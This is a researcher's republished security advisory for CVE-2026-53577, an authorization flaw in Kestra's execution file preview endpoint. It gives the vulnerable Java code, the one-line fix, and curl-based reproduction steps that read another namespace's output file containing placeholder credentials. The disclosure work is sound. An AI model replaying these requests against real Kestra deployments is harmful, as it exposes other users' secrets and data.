Sanaan Fayaz Wani

CVE-2026-53577

Cross-Execution File Read via Preview Endpoint (IDOR)

—

GHSA-r6v3-xxwj-9h42

Published, fixed and credited. Root cause, the vulnerable code, reproduction and the fix, as published in the advisory itself.

   
Advisory GHSA-r6v3-xxwj-9h42
CVE CVE-2026-53577
Severity Medium (6.5)
CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-863 (Incorrect Authorization)
Published 2026-06-03

Affected versions

Package Ecosystem Vulnerable Fixed in
io.kestra:kestra maven <= 1.3.19 n/a

Summary

The previewFileFromExecution endpoint (GET /api/v1/{tenant}/executions/{executionId}/file/preview) contains an access control bypass that allows any authenticated user to read output files from any other execution within the same tenant, bypassing execution-level and namespace-level isolation.

Vulnerability Details

In ExecutionController.java at line 1863, the previewFileFromExecution method calls this.validateFile(execution, path, redirect) but discards the return value. Two sibling methods on the same class correctly check and propagate the return value:

  • downloadFileFromExecution (line 913-916): checks return, propagates redirect
  • getFileMetadatasFromExecution (line 950-953): checks return, propagates redirect

The validateFile method (line 843-900) returns an HttpResponse.redirect() when the kestra:// URI path belongs to a different execution than the one specified in the URL. Because previewFileFromExecution ignores this redirect, it proceeds to call storageInterface.get() with the attacker-supplied URI, which resolves to the victim’s file on disk.

LocalStorage.get() ignores the namespace parameter entirely and resolves the file path as <storageBase>/<tenantId>/<uri.getPath()>. Since the kestra:// URI path embeds the full namespace/flow/execution/task path structure, the file resolves correctly to the victim’s storage location regardless of namespace boundaries.

Steps to Reproduce

Setup

docker compose up -d   # Start Kestra with default config
# Configure credentials via POST /api/v1/main/basicAuth

Create two flows in different namespaces

Victim flow (writes secret credentials to output file):

id: victim-secrets
namespace: victim.ns
tasks:
  - id: write_secret
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    outputFiles:
      - "credentials.txt"
    commands:
      - |
        cat > credentials.txt <<EOF
        DB_PASS=SuperSecretP@ssw0rd!
        AWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
        EOF
triggers:
  - id: webhook
    type: io.kestra.plugin.core.trigger.Webhook
    key: "victim-key"

Attacker flow (just needs a valid execution ID):

id: attacker-dummy
namespace: attacker.ns
tasks:
  - id: dummy
    type: io.kestra.plugin.scripts.shell.Commands
    taskRunner:
      type: io.kestra.plugin.core.runner.Process
    commands:
      - echo dummy
triggers:
  - id: webhook
    type: io.kestra.plugin.core.trigger.Webhook
    key: "attacker-key"

Execute both flows and extract the victim’s file URI

# Trigger both flows
VICTIM_EXEC=$(curl -s -X POST ".../webhook/victim.ns/victim-secrets/victim-key" -d '{}')
ATTACKER_EXEC=$(curl -s -X POST ".../webhook/attacker.ns/attacker-dummy/attacker-key" -d '{}')

# Get victim's output file URI from execution details
VICTIM_FILE_URI=$(curl -s -H "Authorization: Basic $CREDS" \
  ".../executions/$VICTIM_EXEC_ID" | jq -r '.taskRunList[0].outputs.outputFiles["credentials.txt"]')

Exploit the IDOR

# CORRECT behavior: download endpoint returns 301 redirect
curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Basic $CREDS" \
  ".../executions/$ATTACKER_EXEC_ID/file?path=$VICTIM_FILE_URI"
# Returns: 301

# BUG: preview endpoint returns victim's file content
curl -s -H "Authorization: Basic $CREDS" \
  ".../executions/$ATTACKER_EXEC_ID/file/preview?path=$VICTIM_FILE_URI"
# Returns: 200 with victim's secret data

Actual Output (from live Kestra v1.3.19)

Download endpoint (correct):

HTTP Status: 301 (redirect to correct execution)

Preview endpoint (bug):

{
  "extension": "txt",
  "type": "TEXT",
  "content": "DB_HOST=prod-db.internal.company.com\nDB_USER=admin\nDB_PASS=SuperSecretP@ssw0rd!\nAWS_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "maxLine": 100,
  "truncated": false
}

Root Cause

ExecutionController.java line 1863:

// BUG: return value discarded
this.validateFile(execution.get(), path, "/api/v1/" + this.getTenant() + "executions/{executionId}/file?path=" + path);

Compare with the correct pattern at line 913-916:

// CORRECT: return value checked and propagated
HttpResponse<StreamedFile> httpResponse = this.validateFile(execution.get(), path, "...");
if (httpResponse != null) {
    return httpResponse;
}

Additionally, LocalStorage.get() (line 74) ignores the namespace parameter:

public InputStream get(String tenantId, @Nullable String namespace, URI uri) throws IOException {
    return new BufferedInputStream(new FileInputStream(getLocalPath(tenantId, uri).toAbsolutePath().toString()));
    // 'namespace' is accepted but never used -- path is resolved from URI alone
}

Impact

  • OSS (single-tenant): Any authenticated user can read output files from any execution across all namespaces. In team environments sharing a Kestra instance, this breaks namespace-level data isolation. Execution outputs commonly contain database credentials, API keys, financial data, and PII.
  • EE (multi-tenant with RBAC): A user with EXECUTION:READ permission in namespace A can read output files from executions in namespace B, bypassing namespace-level RBAC. Cross-tenant access is not possible (tenantId is validated separately).

Suggested Fix

One-line fix matching the sibling methods:

// Fix: check validateFile return value
HttpResponse<?> httpResponse = this.validateFile(execution.get(), path, "/api/v1/" + this.getTenant() + "executions/{executionId}/file?path=" + path);
if (httpResponse != null) {
    return httpResponse;
}

About this writeup

Sanaan Fayaz Wani (GitHub sfwani) reported this vulnerability to the kestra maintainers under coordinated disclosure and is credited as a reporter in GHSA-r6v3-xxwj-9h42, published 2026-06-03.

All published findings: advisory index.